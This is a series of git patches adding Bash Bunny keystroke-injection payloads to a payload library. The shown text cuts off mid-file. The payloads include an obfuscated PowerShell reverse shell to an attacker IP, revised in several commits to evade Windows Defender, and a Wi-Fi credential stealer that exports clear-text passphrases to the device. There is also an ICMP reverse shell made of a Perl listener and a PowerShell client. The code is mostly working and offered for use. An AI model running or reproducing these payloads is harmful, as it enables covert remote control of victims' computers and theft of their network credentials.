From c652e2e13151abb52e4fef452f1e68a0c0dea049 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Tue, 7 Sep 2021 18:37:22 +0200 Subject: [PATCH 01/59] Uploaded ReverseBunny Obfuscated reverse shell via powershell --- .../remote_access/ReverseBunny/README.md | 12 ++++++++ .../ReverseBunny/ReverseBunny.txt | 1 + .../remote_access/ReverseBunny/payload.txt | 30 +++++++++++++++++++ 3 files changed, 43 insertions(+) create mode 100644 payloads/library/remote_access/ReverseBunny/README.md create mode 100644 payloads/library/remote_access/ReverseBunny/ReverseBunny.txt create mode 100644 payloads/library/remote_access/ReverseBunny/payload.txt diff --git a/payloads/library/remote_access/ReverseBunny/README.md b/payloads/library/remote_access/ReverseBunny/README.md new file mode 100644 index 00000000..7f478362 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunny/README.md @@ -0,0 +1,12 @@ +Title: ReverseBunny + +Author: 0iphor13 + +Version: 1.0 + + +Getting remote access via obfuscated reverse shell. +ReverseBunny.txt needs to be configured $IP=Attacker IP, $PORT=Attacker Port & present on the BB. + +# Red.............Payload running +# Green .............Finished diff --git a/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt b/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt new file mode 100644 index 00000000..1aa4f158 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt @@ -0,0 +1 @@ +$IP='0.0.0.0';$PORT=4444; ( nEW-ObjeCt sysTEm.io.CoMPRessIOn.deFLatEStReaM([sYstem.iO.MemorySTREam][COnVERT]::frOMBASE64STring( 'PZJhb+IwDIb/Sj70lkSDiHHiPgzdpLbrpmq7DtFIpxNCcqHW6CgF0Uys6vLfzwlsH9pGdvy+fuwGfVxDCkljLPvNlOAZnvg1H76s6P2Ga8Mly7vW4E5laFS+X2/RtErHs7iusDEi6FM42EHQz2A/N1ZOgz7XMMfwjxMMSD4FumfVI5rcHLHYCTldrDqDi+Uy6KNOA7bu6kipX5PJz8nnleA/uOxHdnraVDUKZ3HWag0JAymrORYlxVcdaMztgI0GlF5BZ5LcqmdsXs1GSjZskI1kTy2VIejQiQhSzwgNT4T45g4ecai7A2bFDr9gNX4YFeZxmibNel9Wzau8ENDROcM/A87aO6dnbszgPoIw3nonGmaF5PBB+t8djO+ubtgnoy5e3s2Qsjk9XpRueRFIICshKuLt2LIzNkW+dK8Zn+WM09fpH6j4VHIp1awwG5e8Y3x6qYAIOo2+lYVxOHghWd7eejJPFNEmWnEuKZ0JPI09TUtbTPyw/x4rg8K1htk9gevEYTteyIBqaOrfQ/frP0IS7qx6qN/bjZCWYvEzVPQbaKviet+ikP8B' ) , [iO.CompRESsiON.CoMprEssionmodE]::deComprEsS )|%{nEW-ObjeCt io.STrEaMrEadEr( $_ , [sYSTEm.text.EncoDING]::asCii)} |% { $_.rEaDTOEND( ) } ) | . ( ([StrIng]$VeRboSepReFeReNCE)[1,3]+'x'-JoIN'') \ No newline at end of file diff --git a/payloads/library/remote_access/ReverseBunny/payload.txt b/payloads/library/remote_access/ReverseBunny/payload.txt new file mode 100644 index 00000000..7f45b871 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunny/payload.txt @@ -0,0 +1,30 @@ +# Title: ReverseBunny +# Description: Obfuscated reverse shell, executed via powershell +# Author: 0iphor13 +# Version: 1.0 +# Category: Execution +# Attackmodes: HID, Storage + +GET SWITCH_POSITION +ATTACKMODE HID STORAGE +DUCKY_LANG de + +#LED RED - DON'T EJECT - PAYLOAD RUNNING + +LED R FAST + +DELAY 5000 +RUN WIN "powershell -NoP -W hidden -NonI -Exec Bypass" +DELAY 2000 + +Q STRING "Set-Clipboard -Value (gc((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\ReverseBunny.txt'))" +DELAY 5000 +Q ENTER +DELAY 5000 +Q CONTROL v +DELAY 5000 +Q ENTER + +LED FINISH + +#SAVE TO EJECT \ No newline at end of file From 4f46f9acfada134710f8c0ac19d44d170d261922 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 24 Sep 2021 18:05:49 +0200 Subject: [PATCH 02/59] Uploaded WifiSnatch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Get your targets stored wifi information and credentials, store them on your Bashbunny and hop away šŸ‡ --- .../library/exfiltration/WifiSnatch/exfil.txt | 1 + .../exfiltration/WifiSnatch/payload.txt | 55 +++++++++++++++++++ 2 files changed, 56 insertions(+) create mode 100644 payloads/library/exfiltration/WifiSnatch/exfil.txt create mode 100644 payloads/library/exfiltration/WifiSnatch/payload.txt diff --git a/payloads/library/exfiltration/WifiSnatch/exfil.txt b/payloads/library/exfiltration/WifiSnatch/exfil.txt new file mode 100644 index 00000000..ef8a048c --- /dev/null +++ b/payloads/library/exfiltration/WifiSnatch/exfil.txt @@ -0,0 +1 @@ +$bb = (gwmi win32_volume -f 'label=''BashBunny''').Name;Start-Sleep 1;cd $env:TEMP;Start-Sleep 1;netsh wlan export profile key=clear;Start-Sleep 3;Select-String -Path WLAN*.xml -Pattern 'keyMaterial' > WLAN-PWD;Start-Sleep 3;mv WLAN-PWD ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\loot');Start-Sleep 15;New-Item -ItemType file $bb"DONE";(New-Object -comObject Shell.Application).Namespace(17).ParseName($bb).InvokeVerb("Eject"); \ No newline at end of file diff --git a/payloads/library/exfiltration/WifiSnatch/payload.txt b/payloads/library/exfiltration/WifiSnatch/payload.txt new file mode 100644 index 00000000..31c958af --- /dev/null +++ b/payloads/library/exfiltration/WifiSnatch/payload.txt @@ -0,0 +1,55 @@ +#!/bin/bash +# +# Title: WifiSnatch +# Description: Extract wifi information, such as passphrases & SSIDs +# Author: 0iphor13 +# Version: 1.0 +# Category: Exfiltration +# Attackmodes: HID, Storage + +LED SETUP + +GET SWITCH_POSITION +DUCKY_LANG de + +rm /root/udisk/DONE + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +DELAY 5000 +RUN WIN "powershell -NoP -W hidden -NonI -Exec Bypass" +DELAY 5000 + +Q STRING "Set-Clipboard -Value (gc((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\exfil.txt'))" +DELAY 10000 +Q ENTER +DELAY 10000 +Q CONTROL v +DELAY 10000 +Q ENTER +DELAY 1000 + +LED STAGE2 + +until [ -f /root/udisk/DONE ] + do + sleep 0.2 +done + +LED CLEANUP + +rm /root/udisk/DONE + +DELAY 100 + +sync + +DELAY 100 + +LED FINISH + +#SAVE TO EJECT \ No newline at end of file From d00bedd4d669e6a661c3d70f9639b3f951c06515 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 1 Oct 2021 11:52:00 +0200 Subject: [PATCH 03/59] Update ReverseBunny.txt Changed payload to evade Windows Defender --- payloads/library/remote_access/ReverseBunny/ReverseBunny.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt b/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt index 1aa4f158..65d50681 100644 --- a/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt +++ b/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt @@ -1 +1 @@ -$IP='0.0.0.0';$PORT=4444; ( nEW-ObjeCt sysTEm.io.CoMPRessIOn.deFLatEStReaM([sYstem.iO.MemorySTREam][COnVERT]::frOMBASE64STring( 'PZJhb+IwDIb/Sj70lkSDiHHiPgzdpLbrpmq7DtFIpxNCcqHW6CgF0Uys6vLfzwlsH9pGdvy+fuwGfVxDCkljLPvNlOAZnvg1H76s6P2Ga8Mly7vW4E5laFS+X2/RtErHs7iusDEi6FM42EHQz2A/N1ZOgz7XMMfwjxMMSD4FumfVI5rcHLHYCTldrDqDi+Uy6KNOA7bu6kipX5PJz8nnleA/uOxHdnraVDUKZ3HWag0JAymrORYlxVcdaMztgI0GlF5BZ5LcqmdsXs1GSjZskI1kTy2VIejQiQhSzwgNT4T45g4ecai7A2bFDr9gNX4YFeZxmibNel9Wzau8ENDROcM/A87aO6dnbszgPoIw3nonGmaF5PBB+t8djO+ubtgnoy5e3s2Qsjk9XpRueRFIICshKuLt2LIzNkW+dK8Zn+WM09fpH6j4VHIp1awwG5e8Y3x6qYAIOo2+lYVxOHghWd7eejJPFNEmWnEuKZ0JPI09TUtbTPyw/x4rg8K1htk9gevEYTteyIBqaOrfQ/frP0IS7qx6qN/bjZCWYvEzVPQbaKviet+ikP8B' ) , [iO.CompRESsiON.CoMprEssionmodE]::deComprEsS )|%{nEW-ObjeCt io.STrEaMrEadEr( $_ , [sYSTEm.text.EncoDING]::asCii)} |% { $_.rEaDTOEND( ) } ) | . ( ([StrIng]$VeRboSepReFeReNCE)[1,3]+'x'-JoIN'') \ No newline at end of file +$bb =(gwmi win32_volume -f 'label=''BashBunny''').Name;$IP='0.0.0.0';$PORT=4444;Start-Sleep 5;New-Item -ItemType file $bb"DONE";;(New-Object -comObject Shell.Application).Namespace(17).ParseName($bb).InvokeVerb("Eject");${J`F5Z6}= [typE]("{3}{4}{1}{2}{0}"-f'INg',("{0}{1}" -f'XT.','eN'),'cOD','T','e'); ${clI`e`Nt} = &("{1}{0}{3}{2}" -f 'ew','N','t',("{0}{1}"-f ("{0}{1}"-f'-O','bj'),'ec')) ("{2}{7}{1}{3}{0}{6}{5}{8}{4}" -f("{1}{0}"-f '.T',("{0}{1}"-f 'ke','ts')),'.','Sys',("{0}{1}"-f 'Net',("{1}{0}" -f'Soc','.')),'nt','PCl','C','tem','ie')(${IP},${pO`RT});${st`ReAm} = ${c`l`iENT}.("{2}{0}{1}{3}"-f'e',("{0}{1}" -f 'tSt','r'),'G','eam')."I`N`Voke"();[byte[]]${by`T`es} = 0..65535|.('%'){0};while((${i} = ${stRe`AM}.("{1}{0}" -f 'ad','Re')."InVO`KE"(${B`y`TES}, 0, ${BYt`eS}."LEn`GTh")) -ne 0){;${D`ATA} = (.("{3}{1}{2}{0}" -f ("{0}{1}"-f 'je','ct'),'w-','Ob','Ne') -TypeName ("{6}{5}{0}{4}{2}{3}{7}{1}"-f 'st',("{0}{1}" -f 'di','ng'),("{1}{0}"-f ("{1}{0}" -f't.A','Tex'),'.'),("{1}{0}" -f'E',("{1}{0}" -f'II','SC')),'em','y','S','nco'))."Ge`Ts`Tr`inG"(${BYt`ES},0, ${I});${Se`N`DbAck} = (.("{1}{0}" -f'ex','i') ${d`AtA} 2>&1 | &("{1}{0}{2}" -f'ut','O',("{0}{1}" -f '-',("{2}{0}{1}" -f 't',("{1}{0}" -f'g','rin'),'S'))) );${Send`B`Ac`K2} = ${sEn`DBack} + 'PS ' + (.("{1}{0}"-f 'wd','p'))."P`ATh" + '> ';${sEN`dB`yTE} = ( ${j`F`5Z6}::"AS`CIi").("{1}{0}{2}"-f 't','Ge',("{0}{1}" -f 'By','tes'))."I`NvoKE"(${s`e`NdBA`Ck2});${str`e`AM}.("{0}{1}"-f 'W',("{0}{1}" -f'r','ite'))."In`VOke"(${Send`BYtE},0,${Send`BYtE}."lE`N`gTh");${s`Tr`eaM}.("{1}{0}" -f 'ush','Fl')."inV`oKe"()};${ClI`E`Nt}.("{1}{0}" -f 'se','Clo')."iNV`O`KE"(); From a74596db962e4ff2514b3145bfd16f125fd61d26 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 1 Oct 2021 11:54:47 +0200 Subject: [PATCH 04/59] Update payload.txt Added new "Eject Method" - props to Night(9o3) --- .../remote_access/ReverseBunny/payload.txt | 51 ++++++++++++++----- 1 file changed, 38 insertions(+), 13 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunny/payload.txt b/payloads/library/remote_access/ReverseBunny/payload.txt index 7f45b871..945fac51 100644 --- a/payloads/library/remote_access/ReverseBunny/payload.txt +++ b/payloads/library/remote_access/ReverseBunny/payload.txt @@ -1,30 +1,55 @@ +#!/bin/bash +# # Title: ReverseBunny -# Description: Obfuscated reverse shell, executed via powershell +# Description: Get remote access using obfuscated powershell code - If caught by AV, feel free to contact me. # Author: 0iphor13 -# Version: 1.0 -# Category: Execution +# Version: 1.1 +# Category: Remote_Access # Attackmodes: HID, Storage +LED SETUP + GET SWITCH_POSITION -ATTACKMODE HID STORAGE DUCKY_LANG de -#LED RED - DON'T EJECT - PAYLOAD RUNNING +rm /root/udisk/DONE -LED R FAST +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 DELAY 5000 -RUN WIN "powershell -NoP -W hidden -NonI -Exec Bypass" -DELAY 2000 +RUN WIN "powershell -NoP -NonI -W hidden -Exec Bypass" +DELAY 6000 -Q STRING "Set-Clipboard -Value (gc((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\ReverseBunny.txt'))" -DELAY 5000 +Q STRING "Set-Clipboard -Value (gc((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\RevBunny.txt'))" +DELAY 10000 Q ENTER -DELAY 5000 +DELAY 10000 Q CONTROL v -DELAY 5000 +DELAY 10000 Q ENTER +DELAY 1000 + +LED STAGE2 + +until [ -f /root/udisk/DONE ] + do + sleep 0.2 +done + +LED CLEANUP + +rm /root/udisk/DONE + +DELAY 100 + +sync + +DELAY 100 LED FINISH -#SAVE TO EJECT \ No newline at end of file +#SAVE TO EJECT From 43b27d6079ab5d10ae74761eeb7a3e651fe49a72 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 1 Oct 2021 11:56:03 +0200 Subject: [PATCH 05/59] Update README.md --- payloads/library/remote_access/ReverseBunny/README.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunny/README.md b/payloads/library/remote_access/ReverseBunny/README.md index 7f478362..ba8e344e 100644 --- a/payloads/library/remote_access/ReverseBunny/README.md +++ b/payloads/library/remote_access/ReverseBunny/README.md @@ -6,7 +6,4 @@ Version: 1.0 Getting remote access via obfuscated reverse shell. -ReverseBunny.txt needs to be configured $IP=Attacker IP, $PORT=Attacker Port & present on the BB. - -# Red.............Payload running -# Green .............Finished +RevBunny.txt needs to be configured $IP=Attacker IP, $PORT=Attacker Port & present on the BB. From 3fc0d9c857f18882e117151ebba94fc408fd8613 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 29 Nov 2021 17:43:12 +0100 Subject: [PATCH 06/59] Deleted ReverseBunny.txt Deleted because of higher risk to get caught by AV --- payloads/library/remote_access/ReverseBunny/ReverseBunny.txt | 1 - 1 file changed, 1 deletion(-) delete mode 100644 payloads/library/remote_access/ReverseBunny/ReverseBunny.txt diff --git a/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt b/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt deleted file mode 100644 index 65d50681..00000000 --- a/payloads/library/remote_access/ReverseBunny/ReverseBunny.txt +++ /dev/null @@ -1 +0,0 @@ -$bb =(gwmi win32_volume -f 'label=''BashBunny''').Name;$IP='0.0.0.0';$PORT=4444;Start-Sleep 5;New-Item -ItemType file $bb"DONE";;(New-Object -comObject Shell.Application).Namespace(17).ParseName($bb).InvokeVerb("Eject");${J`F5Z6}= [typE]("{3}{4}{1}{2}{0}"-f'INg',("{0}{1}" -f'XT.','eN'),'cOD','T','e'); ${clI`e`Nt} = &("{1}{0}{3}{2}" -f 'ew','N','t',("{0}{1}"-f ("{0}{1}"-f'-O','bj'),'ec')) ("{2}{7}{1}{3}{0}{6}{5}{8}{4}" -f("{1}{0}"-f '.T',("{0}{1}"-f 'ke','ts')),'.','Sys',("{0}{1}"-f 'Net',("{1}{0}" -f'Soc','.')),'nt','PCl','C','tem','ie')(${IP},${pO`RT});${st`ReAm} = ${c`l`iENT}.("{2}{0}{1}{3}"-f'e',("{0}{1}" -f 'tSt','r'),'G','eam')."I`N`Voke"();[byte[]]${by`T`es} = 0..65535|.('%'){0};while((${i} = ${stRe`AM}.("{1}{0}" -f 'ad','Re')."InVO`KE"(${B`y`TES}, 0, ${BYt`eS}."LEn`GTh")) -ne 0){;${D`ATA} = (.("{3}{1}{2}{0}" -f ("{0}{1}"-f 'je','ct'),'w-','Ob','Ne') -TypeName ("{6}{5}{0}{4}{2}{3}{7}{1}"-f 'st',("{0}{1}" -f 'di','ng'),("{1}{0}"-f ("{1}{0}" -f't.A','Tex'),'.'),("{1}{0}" -f'E',("{1}{0}" -f'II','SC')),'em','y','S','nco'))."Ge`Ts`Tr`inG"(${BYt`ES},0, ${I});${Se`N`DbAck} = (.("{1}{0}" -f'ex','i') ${d`AtA} 2>&1 | &("{1}{0}{2}" -f'ut','O',("{0}{1}" -f '-',("{2}{0}{1}" -f 't',("{1}{0}" -f'g','rin'),'S'))) );${Send`B`Ac`K2} = ${sEn`DBack} + 'PS ' + (.("{1}{0}"-f 'wd','p'))."P`ATh" + '> ';${sEN`dB`yTE} = ( ${j`F`5Z6}::"AS`CIi").("{1}{0}{2}"-f 't','Ge',("{0}{1}" -f 'By','tes'))."I`NvoKE"(${s`e`NdBA`Ck2});${str`e`AM}.("{0}{1}"-f 'W',("{0}{1}" -f'r','ite'))."In`VOke"(${Send`BYtE},0,${Send`BYtE}."lE`N`gTh");${s`Tr`eaM}.("{1}{0}" -f 'ush','Fl')."inV`oKe"()};${ClI`E`Nt}.("{1}{0}" -f 'se','Clo')."iNV`O`KE"(); From da3c27ddea27bf89e168d2c71517650abe79e2fa Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 29 Nov 2021 17:52:03 +0100 Subject: [PATCH 07/59] Updated ReverseBunny to version 1.2 Updated ReverseBunny to version 1.2. - Deleted payload on disk because of AV - Added custom shell design --- .../remote_access/ReverseBunny/payload.txt | 67 ++++++++----------- 1 file changed, 29 insertions(+), 38 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunny/payload.txt b/payloads/library/remote_access/ReverseBunny/payload.txt index 945fac51..d0b85c3a 100644 --- a/payloads/library/remote_access/ReverseBunny/payload.txt +++ b/payloads/library/remote_access/ReverseBunny/payload.txt @@ -3,53 +3,44 @@ # Title: ReverseBunny # Description: Get remote access using obfuscated powershell code - If caught by AV, feel free to contact me. # Author: 0iphor13 -# Version: 1.1 +# Version: 1.2 # Category: Remote_Access -# Attackmodes: HID, Storage +# Attackmodes: HID LED SETUP -GET SWITCH_POSITION +#GET SWITCH_POSITION DUCKY_LANG de -rm /root/udisk/DONE - -ATTACKMODE HID STORAGE - -#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING - -LED STAGE1 +ATTACKMODE HID +#WAIT_FOR_PRESENT Your_Device DELAY 5000 -RUN WIN "powershell -NoP -NonI -W hidden -Exec Bypass" -DELAY 6000 +Q GUI r +DELAY 5000 +Q STRING "powershell -NoP -NonI -W hidden" +DELAY 5000 +Q ENTER -Q STRING "Set-Clipboard -Value (gc((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\RevBunny.txt'))" -DELAY 10000 -Q ENTER -DELAY 10000 -Q CONTROL v -DELAY 10000 -Q ENTER DELAY 1000 - -LED STAGE2 - -until [ -f /root/udisk/DONE ] - do - sleep 0.2 -done - -LED CLEANUP - -rm /root/udisk/DONE - -DELAY 100 - -sync - -DELAY 100 +Q STRING "\$I='0.0.0.0';\$P=4444;&(\$SHellid[1]+\$shELlId[13]+'x')(NEw-ObJECt sYstem.iO.coMPRESsIOn.dEFLateSTReAm([sYstEM.I" +DELAY 1000 +Q STRING "o.MEmORyStReAm] [sYstEM.cOnvErT]::frOMBasE64sTrIng('jVJhb9owEP3c/IpT5A1HBUNXdR8apWqJPBSNUdSkWyuCogAWpAIHJa5K2vS/72yaqeoH" +DELAY 1000 +Q STRING "urN8nH3Pz88vkNmjlJV3aVsWHB3ROEmSrgNgFl6LtbxmYTsJTisxAQfiE4RVawTEBxg+QSBDnXSh29yz/8WRmHM6NQjd3Xf+ZT2RAaPbBX1LDIjEqoYWvh1R" +DELAY 1000 +Q STRING "9X6lueq30UJgk83QGmIsENWN4fe+0h2IzTFoNOhcw4ehd6wYc5zERm2MSFNhjW1NiknPfaNtOnWT9Q4yHPoKn4Umbhj6FUAv267y4uT0/xmMzDcGa1yIsoQJ" +DELAY 1000 +Q STRING "l0oUU1A5zHOpMvkoGGOWZV+6lkWG6Tpd+4+lyjfgwSQSO8W4nOeLTC6n5+dXoR8EbCBUv1KipMT8MR19cO5J/tTJ+w/cVxDel4pv2IgrFl7Pf3JVssgf" +DELAY 1000 +Q STRING "++sA76YkaJOx45LSI3NNFUaFuNpQvcOeikwJ+l5Fu9d+v2RDIZdq5biTGSqYTKdk5vUY+352dnpWf3npvbpPq2AoKCWZh3w3PF2gSk0yw6OjZbRynI4U0HN" +DELAY 1000 +Q STRING "eXLLw6AhFX/cfhB9BJ7rfilG64VDel5H4xSJxp5h5ceOAY/Sqm0Au31gzlP3s0UzcAVnAt4uvJ3V+qzr4pmw0wN7OI8/Hdl/bdDkOwT6myNAZ5vNUZbl02DZ" +DELAY 1000 +Q STRING "Vq2P7AmyXVB6dKO23+OA33srR8Iij4Ttj058i0DZVWkHFhlwO8F268WN9G66o8+qitf46Dzl1rL8='),[Io.COmpressIoN.coMPressiONmoDe]::decOMp" +DELAY 1000 +Q STRING "ReSS ) | %{ NEw-ObJECt systEm.io.STREAmReadEr(\$_ , [sysTeM.TExt.encODIng]::AscIi)}| % {\$_.readTOeNd()} )" +DELAY 1000 +Q ENTER LED FINISH - -#SAVE TO EJECT From 863a47d90f8f19b7615f289f3c828789cb9d7a41 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 29 Nov 2021 17:56:03 +0100 Subject: [PATCH 08/59] Updated ReverseBunny to version 1.2 Updated README for ReverseBunny update --- .../library/remote_access/ReverseBunny/README.md | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunny/README.md b/payloads/library/remote_access/ReverseBunny/README.md index ba8e344e..7fced069 100644 --- a/payloads/library/remote_access/ReverseBunny/README.md +++ b/payloads/library/remote_access/ReverseBunny/README.md @@ -2,8 +2,16 @@ Title: ReverseBunny Author: 0iphor13 -Version: 1.0 +Version: 1.2 Getting remote access via obfuscated reverse shell. -RevBunny.txt needs to be configured $IP=Attacker IP, $PORT=Attacker Port & present on the BB. +Change the variables in payload.txt to your attacking maschine & start your listener. + +Whats new in version 1.2? +- Changed the whole payload +- Added custom shell design + +Coming soon: +- Custom commands +- New evasion technique From 97ef0d9173bf925e0de6c489d06d9d147e026104 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 29 Nov 2021 17:59:25 +0100 Subject: [PATCH 09/59] Updated payload fixed some stupid left overs <3 --- payloads/library/remote_access/ReverseBunny/payload.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/payloads/library/remote_access/ReverseBunny/payload.txt b/payloads/library/remote_access/ReverseBunny/payload.txt index d0b85c3a..694781e6 100644 --- a/payloads/library/remote_access/ReverseBunny/payload.txt +++ b/payloads/library/remote_access/ReverseBunny/payload.txt @@ -9,10 +9,11 @@ LED SETUP -#GET SWITCH_POSITION DUCKY_LANG de ATTACKMODE HID + +#If needed, use this option #WAIT_FOR_PRESENT Your_Device DELAY 5000 From 12641377aa9e4124dd2383d2ed53988bba5a3988 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sat, 11 Dec 2021 19:55:11 +0100 Subject: [PATCH 10/59] Uploaded pingUinBunny a reverse shell using icmp --- .../library/remote_access/switch1/Bunny.pl | 66 +++++++++++ .../remote_access/switch1/Invoke-pingUin.ps1 | 105 ++++++++++++++++++ .../library/remote_access/switch1/README.md | 39 +++++++ .../library/remote_access/switch1/payload.txt | 43 +++++++ 4 files changed, 253 insertions(+) create mode 100644 payloads/library/remote_access/switch1/Bunny.pl create mode 100644 payloads/library/remote_access/switch1/Invoke-pingUin.ps1 create mode 100644 payloads/library/remote_access/switch1/README.md create mode 100644 payloads/library/remote_access/switch1/payload.txt diff --git a/payloads/library/remote_access/switch1/Bunny.pl b/payloads/library/remote_access/switch1/Bunny.pl new file mode 100644 index 00000000..8807ebe9 --- /dev/null +++ b/payloads/library/remote_access/switch1/Bunny.pl @@ -0,0 +1,66 @@ +#!/usr/bin/env perl +# +# icmpsh - simple icmp command shell +# Copyright (c) 2010, Nico Leidecker +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Modified by 0iphor13 for pingUinBunny +# +# +# +# + + +use strict; +use IO::Socket; +use NetPacket::IP; +use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); +use Net::RawIP; +use Fcntl; + +print "Bunny waitin' for his friend...\n"; + +# create raw socket +my $sock = IO::Socket::INET->new( + Proto => "ICMP", + Type => SOCK_RAW, + Blocking => 1) or die "$!"; + +# set stdin to non-blocking +fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; + +print "Let's wait for PingUin!\n"; + +my $input = ''; +while(1) { + if ($sock->recv(my $buffer, 4096, 0)) { + my $ip = NetPacket::IP->decode($buffer); + my $icmp = NetPacket::ICMP->decode($ip->{data}); + if ($icmp->{type} == ICMP_ECHO) { + # get identifier and sequencenumber + my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); + + # write data to stdout and read from stdin + print $data; + $input = ; + + # compile and send response + $icmp->{type} = ICMP_ECHOREPLY; + $icmp->{data} = pack("SSa*", $ident, $seq, $input); + my $raw = $icmp->encode(); + my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); + $sock->send($raw, 0, $addr) or die "$!\n"; + } + } +} diff --git a/payloads/library/remote_access/switch1/Invoke-pingUin.ps1 b/payloads/library/remote_access/switch1/Invoke-pingUin.ps1 new file mode 100644 index 00000000..ab74e8ba --- /dev/null +++ b/payloads/library/remote_access/switch1/Invoke-pingUin.ps1 @@ -0,0 +1,105 @@ +function Invoke-pingUin +{ +<# + +Original script by nishang - modified by 0iphor13 for pingUinBunny + +.PARAMETER IPAddress +The IP address of the server/listener to connect to. + +.PARAMETER Delay +Time in seconds for which the script waits for a command from the server. Default is 5 seconds. + +.PARAMETER BufferSize +The size of output Buffer. Defualt is 128. + +.EXAMPLE +# sysctl -w net.ipv4.icmp_echo_ignore_all=1 +# python icmpsh_m.py 192.168.254.226 192.168.254.1 + +Microsoft please don't block, oh dear microsoft corporation +#> + [CmdletBinding()] Param( + + [Parameter(Position = 0, Mandatory = $true)] + [String] + $IPAddress, + + [Parameter(Position = 1, Mandatory = $false)] + [Int] + $Delay = 5, + + [Parameter(Position = 2, Mandatory = $false)] + [Int] + $BufferSize = 128 + + ) + + #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response + $ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping + $PingOptions = New-Object System.Net.NetworkInformation.PingOptions + $PingOptions.DontFragment = $True + $MicrosoftCopyright =@" + + I'll pingUin! <3 + __ + -=(o '. + '.-.\ + /| \\ + '| || + by 0iphor13 _\_):,_ + + Windows PowerShell running as user $env:username on $env:computername `n +"@; + + # Copyright Copies Right + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright) + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + + #Show an interactive PowerShell prompt + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + + while ($true) + { + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('') + $reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) + + #Check for Command from the server + if ($reply.Buffer) + { + $response = ([text.encoding]::ASCII).GetString($reply.Buffer) + $result = (Invoke-Expression -Command $response 2>&1 | Out-String ) + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result) + $index = [math]::floor($NeverGonnaGiveYouUp.length/$BufferSize) + $i = 0 + + #Fragmant larger output into smaller ones to send to the server. + if ($NeverGonnaGiveYouUp.length -gt $BufferSize) + { + while ($i -lt $index ) + { + $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)] + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null + $i +=1 + } + $remainingindex = $NeverGonnaGiveYouUp.Length % $BufferSize + if ($remainingindex -ne 0) + { + $NeverGonnaGiveYouUp2 = 